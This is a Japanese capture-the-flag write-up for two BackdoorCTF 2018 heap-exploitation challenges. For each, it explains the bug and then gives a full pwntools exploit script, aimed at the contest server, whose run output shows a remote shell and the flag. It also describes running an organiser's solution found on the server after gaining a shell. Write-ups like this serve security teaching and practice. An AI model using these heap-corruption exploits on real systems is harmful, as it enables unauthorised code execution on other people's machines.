BackdoorCTF 2018 SHELTER, BOOKKEEPING writeup
SHELTER (pwn, 200pts)
機能
ノート管理系のアプリ。ノートの新規作成とノートの削除を行うことができる。ノートの作成時に作成されたノートが割り当てられたメモリのアドレスを教えてくれる。また、3.Help
を選択するとcode領域のアドレスを得ることができる。削除するときはindexを指定して実行する。indexは新規作成されたたびにインクリメントされていき、削除されてもデクリメントされない。
# ./challenge --- Menu --- 1.New note 2.Delete note 3.Help 4.Exit choice > 1 Enter content > hogehoge Created at 0x5595c8fb3010 ! --- Menu --- 1.New note 2.Delete note 3.Help 4.Exit choice > 3 I am located at 0x5595c7af0c1a
構造体
ノートの構造体は以下のようになっていた。malloc()
で取得できるチャンクのサイズは0x100byteとなる。関数ポインタはノートの削除時にfree()
が行われる前に呼び出される。削除に成功した旨を出力すう関数のポインタが設定される。
struct Note { void* func_ptr; char content[0xf0]; }
vuln
ノート作成時に、読み込むbyte数が0xf1byteとなっており、buffer overflowが存在する。直下のチャンクのサイズを1byteだけ任意の値に書き換えることができる。 また同じindexを複数回数指定できるためdouble freeがある。
exploit
get_shell()
というシェルを起動してくれる関数がいるため、func_ptrを任意の値にしてget_shell()
を呼び出す。
PREV_INUSE
をクリアして、チャンクの統合を起こし、free済みのfunc_ptrを任意に書き込めるようにして、get_shell()
を呼んだ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "51.15.73.163" RPORT = 8088 LHOST = "127.0.0.1" LPORT = 8088 # libc = ELF('./libc.so.6') elf = ELF('./challenge') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./challenge'], gdbscript=execute) else: conn = process(['./challenge']) # conn = process(['./challenge'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation log.info('Pwning') def new_note(content): conn.sendlineafter('choice >', '1') conn.sendafter('Enter content >', content) conn.recvuntil('at ') return int(conn.recv(14), 16) def del_note(idx): conn.sendlineafter('choice >', '2') conn.sendlineafter('Enter index to delete note >', str(idx)) def help(): conn.sendlineafter('choice >', '3') conn.recvuntil('I am located at ') return int(conn.recv(14),16) # leak bin_base bin_base = help() - 0xc1a log.info('bin_base = 0x%x', bin_base) heap_base = new_note('x'*0xf0) - 0x10 fake_chunk = heap_base + 0x70 log.info('heap_base = 0x%x', heap_base) new_note('y'*0xf0) new_note('z'*0xf0) del_note(0) # ptr.fd->bk == ptr # ptr.bk->fd == ptr payload = 'a' * 0x58 + p64(0x0) + p64(0x91) +p64(fake_chunk) + p64(fake_chunk) + 'b'*0x70 + p64(0x90) + '\x00' new_note(payload) del_note(1) new_note(p64(bin_base + 0xa30)*0x18) del_note(1) conn.interactive()
# python exploit.py r [*] '/root/ctf/backdoorCTF2018/shelter/challenge' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 51.15.73.163 on port 8088: Done [*] Pwning [*] bin_base = 0x5642f01b8000 [*] heap_base = 0x5642f15a7000 [*] Switching to interactive mode $ ls challenge flag.txt $ cat flag.txt CTF{Y0U_4R3_T0_B3_R3W4RD3D}
BOOKKEEPING (pwn, 350pts)
ノート管理アプリ。
サイズを指定できて、負数を入力するとチャンクのサイズを小さくできる。適当にやったらシェルが取れた。ただposixの共有メモリとか使っていて、verifier.o
の方からしかflagを読めない。しかし、シェルを取ったらディレクトリに運営の想定解法っぽいexploitがあったので、それを実行したらフラグが降ってきた。途中で気づいたのか、想定解法は削除されていた。
#!/usr/bin/env python from pwn import * import subprocess context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "51.15.73.163" RPORT = 8888 LHOST = "127.0.0.1" LPORT = 8888 # libc = ELF('') elf = ELF('./service.o') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./service.o'], gdbscript=execute) else: conn = process(['./service.o']) # conn = process(['./service.o'], env={'LD_PRELOAD': ''}) # preparing for exploitation def add_note(length, title, body): conn.sendlineafter('>', '1') conn.sendlineafter('Enter note length>', str(length)) conn.sendlineafter('Enter title>', title) conn.sendlineafter('Enter note body>', body) def delete_note(idx): conn.sendlineafter('>', '2') conn.sendlineafter('Enter note index>', str(idx)) def edit_note(idx, title, body): conn.sendlineafter('>', '3') conn.sendlineafter('Enter note index>', str(idx)) conn.sendlineafter('Enter title>', title) conn.sendlineafter('Enter note body>', body) def print_note(idx): conn.sendlineafter('>', '4') conn.sendlineafter('Enter note index>', str(idx)) conn.recvuntil('Title: ') title = conn.recvuntil('Body: ') body = conn.recvuntil('Welcome') return (title, body) log.info('Pwning') subprocess.call(['rm', '-f', '/dev/shm/notes_dir']) # leak add_note(-0x10, 'x'*0x20, '\n') add_note(0x10, 'y'*0x20, 'y'*0xf) add_note(0x10, 'y'*0x20, 'y'*0xf) delete_note(1) (_, buf) = print_note(0) libc_base = u64(buf[:6]+'\x00\x00') - 0x3c4b78 log.info('libc_base = 0x%x', libc_base) add_note(0x10, 'y'*0x20, 'y'*0xf) delete_note(2) add_note(-0x40, 'a'*0x20, '\n') add_note(-0x40, 'b'*0x20, '\n') add_note(-0x40, 'c'*0x20, '\n') delete_note(3) payload = 'v'*0x60 + p64(0x70) + p64(0x71) + p64(libc_base + 0x3c4aed) edit_note(2, payload, '\n') add_note(-0x40, 'd'*0x20, '\n') payload = '\x00' * 3 + p64(0) * 2 + p64(libc_base + 0x4526a) add_note(-0x40, payload, '\n') delete_note(0) conn.sendlineafter('>', '1') conn.sendlineafter('Enter note length>', '1') conn.interactive()
# python exploit.py r [*] '/root/ctf/backdoorCTF2018/bookkeeping/service.o' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 51.15.73.163 on port 8888: Done [*] Pwning [*] libc_base = 0x7fa4a7097000 [*] Switching to interactive mode $ ls Makefile flag service.c service.o verifier.c verifier.o $ cat flag cat: flag: Permission denied
# python exp.py [+] Opening connection to 51.15.73.163 on port 8888: Done Title: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Body: \x80\xa2\x1a Welcome to note taker 1. Add a note 2. Delete a note 3. Edit a note 4. Print a note 5. Exit 6. Get flag > [*] Heap base @: 0x21aa000 Title: CTF{d1d_y0u_ju57_wr173_p457_7h3_30f?} Body: Welcome to note taker 1. Add a note 2. Delete a note 3. Edit a note 4. Print a note 5. Exit 6. Get flag > [*] Closed connection to 51.15.73.163 port 8888